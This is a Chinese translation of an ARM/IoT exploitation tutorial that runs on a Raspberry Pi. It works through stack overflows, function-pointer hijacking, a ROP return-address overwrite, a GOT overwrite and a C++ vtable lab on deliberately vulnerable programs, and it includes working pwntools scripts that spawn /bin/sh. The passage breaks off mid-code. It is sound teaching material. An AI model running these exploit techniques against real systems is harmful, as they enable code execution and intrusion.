ARM exploitation for IoT---Episode 3

原文地址:https://quequero.org/2017/11/arm-exploitation-iot-episode-3/
作者:andrea sindoni
翻译:大部分来源于谷歌的网页翻译,对谷歌翻译表示感谢。
祝大家双11能解出难度大于漏洞利用的题—优惠券的最佳搭配方案

在之前第一篇第二篇中,我们已经看到了一些关于ARM逆向和shellcode编写的基本概念。在这最后一部分将尽可能简单地介绍一些利用方式。

主题列表是:

  1. 修改局部变量的值
  2. 重定向执行流程
  3. 覆盖返回地址
  4. GOT覆盖
  5. C ++虚拟表

我们将使用GEF (https://github.com/hugsy/gef)由@hugsy为逆向工程和漏洞利用而开发的多架构GDB的增强功能。

GEF是针对x86,ARM,MIPS,PowerPC和SPARC的一系列命令,让GDB再次为开发者提供酷炫的命令

修改局部变量的值

我们以修改一个局部变量为最初的例子,源码:stack1.c

#include <stdio.h>

char pwdSecret[] = "stack123!";

void print_secr(){

    printf("Password is %s\n", pwdSecret);

}

int main(int argc, char **argv){

    int check=0;

    char buffer[32];

    gets(buffer);


    if(check == 0x74696445) {

        print_secr();

    }else{

        printf("No password to show\n");

    }

}

使用-g选项编译程序以便于分析。

root@raspberrypi:/home/pi/arm/episode3# gcc -o stack1 stack1.c -g

stack1.c: In function ‘main’:

stack1.c:15:3: warning: ‘gets’ is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]

gets(buffer);

^

/tmp/ccA0dlly.o: In function `main':

stack1.c:(.text+0x44): warning: the `gets' function is dangerous and should not be used.

编译器建议不要使用gets(),不要忽略编译器的警告;例如,可以使用fgets()函数,但是我们的目标是证明上面的代码实际上是危险的。

让我们从这里开始:

echo `python -c 'print "A"*41'` | ./stack1

正如我们所期望的那样,存在段错误

让我们来分析崩溃,打开gdb并在指令处设置一个断点

gets(buffer);

然后插入下面的有效载荷

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

继续nexti并查看缓冲区的内容

gef> x/12x buffer

0x7efff664:0x41414141 0x41414141 0x41414141 0x41414141

0x7efff674:0x41414141 0x41414141 0x41414141 0x00004141

0x7efff684:0x00000000 0x00000000 0x76e8f678 0x76fb4000

我们可以看到从0xbefff664到0xbefff664 + 30的0x41字节的顺序,我们也可以注意到地址0xbefff684是“check”局部变量的地址

gef> p &check

$2 = (int *) 0x7efff684

那么如果我们发送更长的有效载荷,我们可以覆盖“检查”变量。

例如,如果我们用这个0x45646974覆盖检查变量,则应该打印密码。

重新启动程序并发送以下有效载荷:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEdit

我们在gets指令之后转储缓冲区数组:

gef> x/12x buffer
0x7efff664:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff674:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff684:    0x74696445    0x00000000    0x76e8f678    0x76fb4000

如预期的那样,“检查”变量现在被覆盖

gef> p check

$3 = 0x74696445

继续执行

Continuing.

Password is stack123!

[Inferior 1 (process 7243) exited normally]

我们可以用python自动化一切:

root@raspberrypi:/home/pi/arm/episode3# echo `python -c 'print "A"*32+"Edit"'` | ./stack1

Password is stack123!

重定向执行流程

我们将看到如何重定向执行流程。首先分析下面的代码:

文件:redirect_execution.c

#include <stdio.h>
#include <string.h>


char msgSecret[] = "This is the secret message";

char msgDefault[] = "This is the default message";


typedef struct _msg_struct{

    char message[32];

    int (*print_msg)();

}msg_struct;


int print_secr(){

    printf("Congrats! %s\n", msgSecret);

    return 0;

}


int print_default(){

    printf("Hello! %s\n", msgDefault);

    return 0;

}


int main(int argc, char **argv){

    char message[80];

    msg_struct p;

    printf("Please enter a message: \n");

    gets(message);

    if(*message){

        p.print_msg=print_default;

        strcpy(p.message, message);

        p.print_msg();

    }else{

        printf("Insert the message!\n");

    }

    return 0;

}

运行该程序并输入以下字符串:

“AAAAAA”

看看p.print_msg的地址:

gef> x/x &p.print_msg
0x7efff614:    0x000104f8

查看变量p.username的一些字节:

gef> x/9x p.message
0x7efff5f4:    0x41414141    0x00004141    0x76ffd14c    0x76fffc50
0x7efff604:    0x7efff654    0x7efff650    0x00000000    0x76ffecf0
0x7efff614:    0x000104f8

我们可以推断,如果我们插入更多的字节(用户输入),我们可以覆盖函数指针的地址0x7efff614的值

我们试着插入下面的有效载荷:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

我们在以下位置设置断点:

38        p.print_pwd();

看看p.print_msg的地址:

gef> x/x &p.print_msg
0x7efff614:    0x42424242

gef> x/9x p.message
0x7efff5f4:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff604:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff614:    0x42424242

函数指针的值被替换为0x42424242,现在我们试着用print_secr()函数的地址来改变这个值。

gef> p print_secr
$1 = {int ()} 0x104d0 <print_secr>

gef> set *(int*)0x7efff614=0x104d0
gef> x/9x p.message
0x7efff5f4:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff604:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff614:    0x000104d0

然后继续执行:

gef> c
Continuing.
Congrats! This is the secret message
[Inferior 1 (process 10712) exited normally]

再次…我们可以使用python自动化一切:

root@raspberrypi:/home/pi/arm/episode3# python -c "print 'A'*32 + '\xd0\x04\x01\x00'" | ./redirect_execution

Please enter a message:

Congrats! This is the secret message

重要的提示

如果我们看一下栈权限(例如vmmap),我们可以看到这个范围是可执行的:

0x7efdf000 0x7f000000 0x00000000 rwx [stack]

在后面的章节中,我们将使用一个不可执行的堆栈部分.

如果我们用编译器选项“ -z noexecstack ” 编译程序 (redirect_execution.c)

root@raspberrypi:/home/pi/arm/episode3# gcc -o redirect_execution redirect_execution.c -z noexecstack

并看看堆栈权限:

gef> vmmap
Start      End        Offset     Perm Path

0x00010000 0x00011000 0x00000000 r-x /home/pi/arm/episode3/redirect_execution

0x00020000 0x00021000 0x00000000 r-- /home/pi/arm/episode3/redirect_execution

0x00021000 0x00022000 0x00001000 rw- /home/pi/arm/episode3/redirect_execution

0x00022000 0x00043000 0x00000000 rw- [heap]

0x76e7a000 0x76fa4000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fa4000 0x76fb3000 0x0012a000 --- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb3000 0x76fb5000 0x00129000 r-- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb5000 0x76fb6000 0x0012b000 rw- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb6000 0x76fb9000 0x00000000 rw-

0x76fb9000 0x76fbe000 0x00000000 r-x /usr/lib/arm-linux-gnueabihf/libarmmem.so

0x76fbe000 0x76fcd000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so

0x76fcd000 0x76fce000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so

0x76fce000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.24.so

0x76fef000 0x76ff1000 0x00000000 rw-

0x76ff8000 0x76ffb000 0x00000000 rw-

0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]

0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]

0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]

0x76ffe000 0x76fff000 0x00020000 r-- /lib/arm-linux-gnueabihf/ld-2.24.so

0x76fff000 0x77000000 0x00021000 rw- /lib/arm-linux-gnueabihf/ld-2.24.so

0x7efdf000 0x7f000000 0x00000000 rwx [stack]

0xffff0000 0xffff1000 0x00000000 r-x [vectors]

该堆栈仍然可执行.

经过快速分析,我们可以明白,一切的原因是共享库libarmmem.so,它使用“/etc/ld.so.preload”文件加载到内存中

root@raspberrypi:/home/pi/arm/episode3# cat /etc/ld.so.preload

/usr/lib/arm-linux-gnueabihf/libarmmem.so

我们可以验证GNU_STACK程序头标记为RWE:

root@raspberrypi:/home/pi/arm/episode3# readelf -l /usr/lib/arm-linux-gnueabihf/libarmmem.so

Elf file type is DYN (Shared object file)

Entry point 0x568

There are 6 program headers, starting at offset 52


Program Headers:
    Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
    LOAD           0x000000 0x00000000 0x00000000 0x043f0 0x043f0 R E 0x10000
    LOAD           0x0043f0 0x000143f0 0x000143f0 0x00130 0x00134 RW  0x10000
    DYNAMIC        0x0043fc 0x000143fc 0x000143fc 0x000e8 0x000e8 RW  0x4
    NOTE           0x0000f4 0x000000f4 0x000000f4 0x00024 0x00024 R   0x4
    GNU_EH_FRAME   0x0042cc 0x000042cc 0x000042cc 0x0002c 0x0002c R   0x4
    GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

Section to Segment mapping:
  Segment Sections...
    00     .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .eh_frame_hdr .eh_frame
    01     .init_array .fini_array .jcr .dynamic .got .data .bss
    02     .dynamic
    03     .note.gnu.build-id
    04     .eh_frame_hdr
    05     

这意味着那些使用我的相同raspbian版本(我还没有验证其他版本)的人遭受同样的问题:部分堆栈是可执行的.

造成这个问题的原因之一是汇编文件 (https://github.com/RPi-Distro/arm-mem/blob/master/architecture.S) 缺少了GNU堆栈选项

怎么修复呢?

我们可以添加这个:

/* Prevent the stack from becoming executable */
#if defined(__linux__) && defined(__ELF__)
.section .note.GNU-stack,"",%progbits
#endif

到architecture.S文件.

我就修复后的文件放到这里https://github.com/invictus1306/arm-mem,你可以下载编译:

root@raspberrypi:/home/pi/arm/episode3/arm-mem-master# make

gcc -c -o architecture.o architecture.S

gcc -c -o memcmp.o memcmp.S

gcc -c -o memcpymove.o memcpymove.S

gcc -c -o memcpymove-a7.o memcpymove-a7.S

gcc -c -o memset.o memset.S

gcc -std=gnu99 -O2 -c -o trampoline.o trampoline.c

gcc -shared -o libarmmem.so architecture.o memcmp.o memcpymove.o memcpymove-a7.o memset.o trampoline.o

ar rcs libarmmem.a architecture.o memcmp.o memcpymove.o memcpymove-a7.o memset.o trampoline.o

gcc -std=gnu99 -O2 -c -o test.o test.c

gcc -o test test.o

验证GNU_STACK程序头:

root@raspberrypi:/home/pi/arm/episode3/arm-mem-master# readelf -l libarmmem.so

Elf file type is DYN (Shared object file)

Entry point 0x588

There are 7 program headers, starting at offset 52

Program Headers:

    Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
    LOAD           0x000000 0x00000000 0x00000000 0x04410 0x04410 R E 0x10000
    LOAD           0x004f0c 0x00014f0c 0x00014f0c 0x00130 0x00134 RW  0x10000
    DYNAMIC        0x004f18 0x00014f18 0x00014f18 0x000e8 0x000e8 RW  0x4
    NOTE           0x000114 0x00000114 0x00000114 0x00024 0x00024 R   0x4
    GNU_EH_FRAME   0x0042ec 0x000042ec 0x000042ec 0x0002c 0x0002c R   0x4
    GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
    GNU_RELRO      0x004f0c 0x00014f0c 0x00014f0c 0x000f4 0x000f4 R   0x1

Section to Segment mapping:

Segment Sections...
    00     .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .eh_frame_hdr .eh_frame
    01     .init_array .fini_array .jcr .dynamic .got .data .bss
    02     .dynamic
    03     .note.gnu.build-id
    04     .eh_frame_hdr
    05     
    06     .init_array .fini_array .jcr .dynamic

编辑文件“/etc/ld.so.preload”,添加新共享库的路径

root@raspberrypi:/home/pi/arm/episode3/arm-mem-master# cat /etc/ld.so.preload

/home/pi/arm/episode3/arm-mem-master/libarmmem.so

回到我们的例子,并尝试再次编译它:

root@raspberrypi:/home/pi/arm/episode3# gcc -o redirect_execution redirect_execution.c -z noexecstack

现在我们可以验证堆栈不可执行了:

gef> vmmap
Start      End        Offset     Perm Path

0x00010000 0x00011000 0x00000000 r-x /home/pi/arm/episode3/redirect_execution

0x00020000 0x00021000 0x00000000 r-- /home/pi/arm/episode3/redirect_execution

0x00021000 0x00022000 0x00001000 rw- /home/pi/arm/episode3/redirect_execution

0x76e79000 0x76fa3000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fa3000 0x76fb2000 0x0012a000 --- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb2000 0x76fb4000 0x00129000 r-- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb4000 0x76fb5000 0x0012b000 rw- /lib/arm-linux-gnueabihf/libc-2.24.so

0x76fb5000 0x76fb8000 0x00000000 rw-

0x76fb8000 0x76fbd000 0x00000000 r-x /home/pi/arm/episode3/arm-mem-master/libarmmem.so

0x76fbd000 0x76fcc000 0x00005000 --- /home/pi/arm/episode3/arm-mem-master/libarmmem.so

0x76fcc000 0x76fcd000 0x00004000 r-- /home/pi/arm/episode3/arm-mem-master/libarmmem.so

0x76fcd000 0x76fce000 0x00005000 rw- /home/pi/arm/episode3/arm-mem-master/libarmmem.so

0x76fce000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.24.so

0x76fef000 0x76ff1000 0x00000000 rw-

0x76ff8000 0x76ffb000 0x00000000 rw-

0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]

0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]

0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]

0x76ffe000 0x76fff000 0x00020000 r-- /lib/arm-linux-gnueabihf/ld-2.24.so

0x76fff000 0x77000000 0x00021000 rw- /lib/arm-linux-gnueabihf/ld-2.24.so

0x7efdf000 0x7f000000 0x00000000 rw- [stack]

0xffff0000 0xffff1000 0x00000000 r-x [vectors]

已经修复好了,现在我们可以继续下一章.

覆盖返回地址

在本章中,我们将看到如何使用简单的ROP小工具来弹出一个shell。

我们要分析的文件将不能执行堆栈, 启用ASLR,没有PIE,所以我们只能找到在libc中导入的函数的地址。

这是文件 (stack_overflow.c):

#include <stdio.h>


void rop_func(){

    asm volatile(

        "pop {r0, r1, r2, lr} \n\t"

        "bx lr \n\t"

    );

}


void msg_func(){

    char message[64];

    read(0, message, 256);

}


int main(){

    msg_func();

    write(1, "Good done!\n",12);

    return 0;

}

编译程序

root@raspberrypi:/home/pi/arm/episode3# gcc -o stack_overflow stack_overflow.c -g

在gef中运行checksec命令

gef> checksec

[+] checksec for '/home/pi/arm/episode3/stack_overflow'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

启用ASLR

root@raspberrypi:/home/pi/arm/episode3# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

2

我们可以注意到有一个函数包含一个小的指令序列(rop_func)。

接下来使用的方式不是利用该程序的唯一方式。

我们将采用的方式是使用“write”函数打印“read”函数(泄漏)的地址,从而可以计算“system”函数的地址并使用“/bin/sh“。

总结一下:

  1. 获取系统功能的地址
  2. 执行system(“/bin/sh”)

获取系统功能的地址

启动程序并第12行设置断点

->  12       read(0, message, 256);

发送的有效载荷是

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

继续下一条指令

gef> next

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

查看栈

gef> x/18x $sp
0x7efff630:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff640:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff650:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff660:    0x41414141    0x41414141    0x41414141    0x41414141
0x7efff670:    0x7efff60a    0x000104bc

现在到了这条指令:

->   0x104a8 <msg_func+32>    sub    sp,  r11,  #4

继续:

->   0x104ac <msg_func+36>    pop    {r11,  pc}

看看栈:

gef> x/2x $sp
0x7efff670:    0x7efff60a    0x000104bc

然后,如果我们将发送更多的字节(作为有效载荷),我们将能够覆盖地址0x7efff670和0x7efff674。

通过手动设置寄存器, 可以跳到“rop_func” function

gef> p rop_func
$1 = {void ()} 0x1046c <rop_func>
gef>  set *(int*)($sp+4)=0x1046c
gef>  set *(int*)$sp=0x00000001
gef> x/2x $sp
0x7efff670:    0x00000001    0x0001046c

如果我们继续使用stepi指令,则可以使用rop_func:

->   0x1046c <rop_func+0>     push   {r11}        ; (str r11,  [sp,  #-4]!)
      0x10470 <rop_func+4>     add    r11,  sp,  #0
      0x10474 <rop_func+8>     pop    {r0,  r1,  r2,  lr}
      0x10478 <rop_func+12>    bx     lr
      0x1047c <rop_func+16>    sub    sp,  r11,  #0
      0x10480 <rop_func+20>    pop    {r11}        ; (ldr r11,  [sp],  #4)

让我们前往地址0x10474:

->   0x10474 <rop_func+8>     pop    {r0,  r1,  r2,  lr}

准备堆栈,我们要使用pop指令来获取读取函数的地址(泄漏),然后我们应该设置寄存器的值

r0 - standard output = 0x00000001

r1 - address of read = 0x2100c

r2 - number of bytes to write = 0x00000004

lr - address of write = 0x104C8

为了进行调用write

write(r0, 0x2100c, 0x4)

我们手动设置堆栈

gef> set *(int*)($sp+4)=0x2100c
gef> set *(int*)($sp+8)=0x00000004
gef> set *(int*)($sp+12)=0x104C8
gef> x/4x $sp
0x7efff674:    0x00000001    0x0002100c    0x00000004    0x000104c8

在分支指令(bx lr)之后,我们在0x104c8处到达写入函数的地址

->  17       write(1, "Good done!\n",12);

->   0x104c8 <main+24>        bl     0x1032c

参数如下

$r0   : 0x00000001
$r1   : 0x0002100c -> 0x76f3a150 -> <read+0> ldr r12,  [pc,  #96]    ; 0x76f3a1b8
$r2   : 0x00000004

nexti继续
我们得到了read函数的地址,从这里我们可以计算出system函数的地址,暂时先不计算system,在最终的exploit中我们会计算他。

到达这条指令

0x104d4 <main+36>        pop    {r11,  pc}

现在我们要返回读取函数,我们必须设置“ pc ”等于read函数在我们的二进制文件(0x104d4)中的地址。

gef> set *(int*)$sp=0x00000000
gef> set *(int*)($sp+4)=0x10488

如果我们继续,stepi指令将执行到read函数调用

->   0x10488 <msg_func+0>     push   {r11,  lr}
      0x1048c <msg_func+4>     add    r11,  sp,  #4
      0x10490 <msg_func+8>     sub    sp,  sp,  #64    ; 0x40
      0x10494 <msg_func+12>    sub    r3,  r11,  #68    ; 0x44
      0x10498 <msg_func+16>    mov    r0,  #0
      0x1049c <msg_func+20>    mov    r1,  r3

执行system(“/bin/sh”)

我们可以使用相同的rop

pop {r0, r1, r2, lr}

bx lr

去调用system函数

system(r0)

在这种情况下,寄存器的值将是

r0 – address of /bin/sh

r1 – not used

r2 – not used

lr - address of system

继续并输入以下有效载荷:

gef>

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

再一次到达一样的pop指令

->   0x104ac <msg_func+36>    pop    {r11,  pc}

填写r11和pc寄存器

gef> find &system,+1000000,"/bin/sh"
0x76f96588
1 pattern found.
gef> set *(int*)$sp=0x76f96588
gef> set *(int*)($sp+4)=0x1046C

运行到0x10474并且修改lr寄存器

->   0x10474 <rop_func+8>     pop    {r0,  r1,  r2,  lr}

获取system()函数的地址:

gef> p system
$4 = {<text variable, no debug info>} 0x76eb0154 <system>

准备栈,我们只需要在$sp + 12处填充system地址

gef> set *(int*)($sp+12)=0x76eb0154
gef> x/4x $sp
0x7efff674:    0x76f96588    0x00000000    0x76e8f678    0x76eb0154

继续

gef> c
Continuing.

我们得到一个shell:

#pwd

/home/pi/arm/episode3

我们可以使用这个脚本来自动化这些步骤 (文件:exploit_stack_overf.py)

#!/usr/bin/env python2

from pwn import *

ip = "192.168.0.13"
port = 22
user = "pi"
pwd = "andrea85"

libc = ELF('libc-2.24.so')

shell = ssh(user, ip, password=pwd, port=port)

sh = shell.run('/home/pi/arm/episode3/stack_overflow')

payload = "A"*64
payload += p32(0x1)       # r0 - standard output
payload += p32(0x1046C)   # rop gadget pop {r0, r1, r2, lr}; bx lr
payload += p32(0x2100c)   # r1 - address of read
payload += p32(0x4)       # r2 - number of bytes to write
payload += p32(0x104C8)   # lr - address of write
payload += p32(0x00)      # not used
payload += p32(0x10488)   # jump to the read  - 0x104d4 <main+36>        pop    {r11,  pc}
sh.sendline(payload)

# get the read address
read_address = u32(sh.recv(4))
log.info('address of the read: %#x' % read_address)
# get the libc_base address
libc_base_address = read_address - libc.symbols['read']
# get the system address
system_address = libc_base_address + libc.symbols['system']
log.info('address of the system: %#x' % system_address)
shell_address = libc_base_address + next(libc.search("/bin/sh"))

payload = "A"*64
payload += p32(shell_address)       # r0 - /bin/sh address
payload += p32(0x1046C)             # rop gadget pop {r0, r1, r2, lr}; bx lr
payload += p32(0x00)                # r1 - not used
payload += p32(0x00)                # r2 - not used
payload += p32(system_address)      # lr - address of the system
sh.sendline(payload)

sh.interactive()

shell.close()

执行这个脚本

GOT 覆盖

本章的目的是了解如何覆盖全局偏移量表(GOT)以重定向代码执行和弹出一个shell,我们将只使用一个ROP。

文件:got_overw.c

#include <stdio.h>
#include <math.h>


#define MAX 12
#define PI 3.14159265

int main()
{
    static int arr[MAX];
    char ch;
    int num, ret;
    int flag=1;
    unsigned int i, in_num, out_num, cos_param, write_index;

    printf("Please fill the array:\n");

    for(i=0;i<MAX;i++){
        if(scanf("%d", &in_num)==1){
            arr[i]=in_num;
        }
        else{
            printf("Please enter a number\n");
            return 0;
        }
    }

    while(flag){
        printf("Select the index of the element that you want to read: \n");

        if(scanf("%d", &num)!=1){
            printf("Please enter a number\n");
            return 0;
        }

        printf("At position %d the value is %d\n", num, arr[num]);

        printf("Do you want read another number? [y/n]\n");

        scanf(" %c", &ch);

        if(ch!='y'){
            flag=0;
        }
    }

    printf("How many value do you want to modify?\n");

    if(scanf("%d", &cos_param)!=1){
        printf("Please enter a number:\n");
        return 0;
    }
    //param 180
    ret = cos(cos_param * PI /180.0);

    if (ret<0){
        write_index = MAX;
    }
    else
    {
        write_index = 1;
    }

    while(write_index){
        if(flag!=0){
            printf("Do you want to edit some value in the array? [y/n]\n");
            scanf(" %c", &ch);
        }

        if(ch=='y' || flag==0){
            printf("Select the index of the element that you want to modify\n");
            scanf("%d", &num);

            printf("Enter the new value\n");
            scanf("%d", &out_num);

            arr[num]=out_num;
            write_index--;
            flag=1;
        }
        else{
            break;
        }
    }
    printf("Good done!\n");
    return 0;
}

编译程序,这次栈不可执行

root@raspberrypi:/home/pi/arm/episode3# gcc -o got_overw got_overw.c -g -lm

ASLR已启用

让我们看看这个简单的程序的行为

  1. 用12个数字填充数组
  2. 选择数组中要读取的元素的索引

请注意一下几个方面,

1. “num”变量是一个整数,arr[num] 是会被打印输出的
2. 可以读取其他num位置的数据
3. 你所输入的想要修改的次数

This is not really true, 我们必须输入一个保存在变量“cos_param”中的数字,然后,如果

cos(cos_param * PI /180.0)<0

我们可以编辑12个元素,否则我们只能编辑一个元素,例如,如果我们要编辑12个元素,“cos_param”的值必须是180。

此时我们可以选择要写入的元素的索引和要插入的值。

我们来看一个例子

我说过要注意“num”变量,例如,如果我们插入-10会发生什么?

在第35行设置断点

拿到put函数的地址 (GOT section)

也就是说,我们有了任意地址读的漏洞,通过这个漏洞可以泄露一些重要的信息(记住ALSR是打开的)

此时,我们看到了修改一个地址的可能

arr[num]=out_num;

在这个例子中通过一种可控的方式我们可以修改内存数据,记住此时的got段是可写的。

总之,我们现在有了任意地址读写漏洞

我们将通过简单的步骤去构建exp,并获得shell

  1. 将“/bin/sh”字符串放入“arr”数组中

  2. 获得在libc库中的system函数地址

  1. 准备栈

  2. 编辑在GOT表中的printf函数的地址(因为printf函数会在随后被调用)

试一下

1- 将“/bin/sh”字符串放入“arr”数组中

2- 获得在libc库中的system函数地址

libc的main函数相对于arr数组来讲下标是(-9)

在最后的exp中,我们会看到如何计算system函数的地址,现在,我们可以用简单的方法获得它

3- 准备栈

建议用这个工具来寻找rophttps://github.com/JonathanSalwan/ROPgadget by @JonathanSalwan
, ROPgadget支持ELF, PE and Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS 多种架构.

此例中中,我们需要把“/bin/sh”字符串的地址压人“r0”寄存器中,接着调用system函数

system(r0)

同时我们发现“/bin/sh”字符串的地址在“r2”寄存器中,所以找到一个rop

root@raspberrypi:/home/invictus/Scrivania/article/episode3# ROPgadget --binary libc-2.24.so | grep "mov r0, r2"

...

0x000ed748 : mov r0, r2 ; pop {r4, pc}

…

根据我们所选的rop,我们必须把system的地址放入$sp+4(也就是局部变量“cos_param”)

4- 编辑在GOT表中的printf函数的地址(因为printf函数会在随后被调用)

我们知道GOT表中printf函数所在地址位于arr数组下标为“-10”的地方

输入 “-10”, 然后接着输入rop的地址作为“out_num”的值

->  74           scanf("%d", &out_num);

gadget 的偏移是

0x000ed748 : mov r0, r2 ; pop {r4, pc}

libc 基址 0x76dfa000

所以gadget地址是

gadget_address = libc_base + gadget_offset

我们现在可以输入gadget的地址 (0x76ee7748)

继续执行

->  84       printf("Good done!\n");

输入“stepi”指令 随后查看 “r2” 寄存器的值

继续, 我们得到shell

利用程序的代码如下:

文件:exploit_got.py

#!/usr/bin/env python2

from pwn import *

ip = "192.168.0.13"
port = 22
user = "pi"
pwd = "andrea85"

libc = ELF('libc-2.24.so')
gadget_offset = 0xed748

shell = ssh(user, ip, password=pwd, port=port)

sh = shell.run('/home/pi/arm/episode3/got_overw')

# fill the array
sh.recvuntil('array:\n')
sh.sendline('1852400175') # "nib/"
sh.sendline('6845231')    # "hs/"
for i in range(0,10):
    sh.sendline(str(i))

sh.recvuntil('read: \n')

# Leak the libc address
sh.sendline('-9')  # offset to the libc in the GOT section
ret = sh.recvline().split()
libc_main = int(ret[6])
# libc_base = libc_main - libc_base_offset
libc_base = libc_main - libc.symbols['__libc_start_main']
log.info('libcbase: %#x' % libc_base)
# address of the system function
system_addr = libc_base + libc.symbols['system']
log.info('system address: %#x' % system_addr)

sh.recvuntil('[y/n]\n')
# do not read other values
sh.sendline('n')

sh.recvuntil('modify?\n')
# send the system function address
sh.sendline(str(system_addr))
sh.recvuntil('modify\n')
sh.sendline('-10')  # offset of the put in the GOT section
sh.recvuntil('value\n')
# gadget address
gadget_address = libc_base + gadget_offset
log.info('gadget address: %#x' % gadget_address)
# send the gadget address
sh.sendline(str(gadget_address))

sh.interactive()

shell.close()

C++ 虚表

在最后一个示例中, 我们将了解如何通过使用 c++ 虚表来重定向易受攻击的应用程序的执行流程.

这是我们必须分析的应用程序: uaf.c

#include <iostream>
#include <cerrno>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>

#define PORT     4444
#define MAX_NUM  10

using namespace std;

int fd_sock;
static int roulette;

class Note{
    protected:
    unsigned int note_number;
    string note_desc[10];

    public:
    void insert_note(string ins_note){
        if (note_number<10){
            note_desc[note_number] = ins_note;
            cout << "Note added!" << endl;
            note_number++;
        }else{
            cout << "You can not add more notesd!" << endl; } } void delete_note(){ if(note_number>0){
            note_number--;
        }else{
            note_number=0;
        }

        if (!note_desc[note_number].empty()){
            note_desc[note_number].clear();
            cout << "Note deleted!" << endl;
        }else{
            cout << "No note to delete!" << endl;
        }
    }

    int edit_note(unsigned int new_index, string new_note){
        if((new_index<10)&&(!note_desc[new_index].empty())){
            note_desc[new_index] = new_note;
            cout << "Note modified!" << endl;
        }else{
            cout << "You can not edit this note" << endl;
        }
        return 0;   
    }

    virtual int show_all_notes(){
        return 0;
    }
};

class Edit : public Note{
    public:
    virtual int show_all_notes(){
        unsigned int i;
        for(i=0;i<note_number;i++){
            cout << note_desc[i] << endl;
        }
        return 0;
    }
};

void stack_pivot(){
    asm volatile(
        "ldr sp,[r4, #0x0c] \n\t"
        "ldr sp, [sp] \n\t"      
        "pop {lr, pc} \n\t"
    );
}

void set_address(){
    int *num = new int[12]; 
    int tmp;
    cout << "Enter the number" << endl; cin >> tmp;
    num[0]=tmp;
    cout << "Number correctly inserted" << endl; } void stack_info(){ string str; printf("Debug informations area \n"); cin >> str;
    printf(str.c_str());
}

int note(){
    int client_sockfd;
    struct sockaddr_in caddr;
    socklen_t acclen = sizeof(caddr);
    unsigned int index = 0;
    unsigned int index_to_edit=0;
    string new_note;
    string edit_not;
    int res, i;
    char c, ch;
    char *tmp;
    string input;
    char wel_msg[512] = "Welcome! Enjoy to use this app to manage your notes";

    acclen = sizeof(caddr);

    Edit *edit_obj = new Edit;

    while(1){
        if((client_sockfd = accept(fd_sock, (struct sockaddr *) &caddr, &acclen)) < 0 ){
            std::cerr << strerror(errno) << std::endl;
            exit(1);
        }

        dup2(client_sockfd, 0);
        dup2(client_sockfd, 1);
        dup2(client_sockfd, 2);

        cout << wel_msg << endl;

        while(1){
            cout << "1- Insert a note" << endl;
            cout << "2- show all notes" << endl;
            cout << "3- Edit a note" << endl;
            cout << "4- Delete the last note" << endl;
            cout << "5- Set your address :)" << endl;
            cout << "0- Change the message" << endl;
            cout << endl; std::cin.clear(); cin >> input;
            c = input[0];
            index = atoi(&c);

            switch(index){
                case 1:
                    cout << "Enter the new value: " << endl; cin >> new_note;
                    edit_obj->insert_note(new_note);
                    break;

                case 2:
                    edit_obj->show_all_notes();
                    break;

                case 3:
                    cout << "Insert the index of the note to modify: " << endl; cin >> input;
                    c = input[0];
                    index_to_edit = atoi(&c);
                    cout << "Enter the new value: " << endl; cin >> edit_not;
                    res = edit_obj->edit_note(index_to_edit, edit_not);
                    break;

                case 4:
                    edit_obj->delete_note();
                    cout << "Try to set the roulette number: " << endl; cin >> roulette;
                    delete edit_obj;
                    break;

                case 5:
                    set_address();
                    break;

                case 0:
                    cout << "Enter the new message: " << endl;
                    tmp = wel_msg;
                    i=0;
                    ch = std::cin.get();
                    while ((ch = std::cin.get()) != 51 && i<256){
                        memcpy(tmp, &ch, 256);
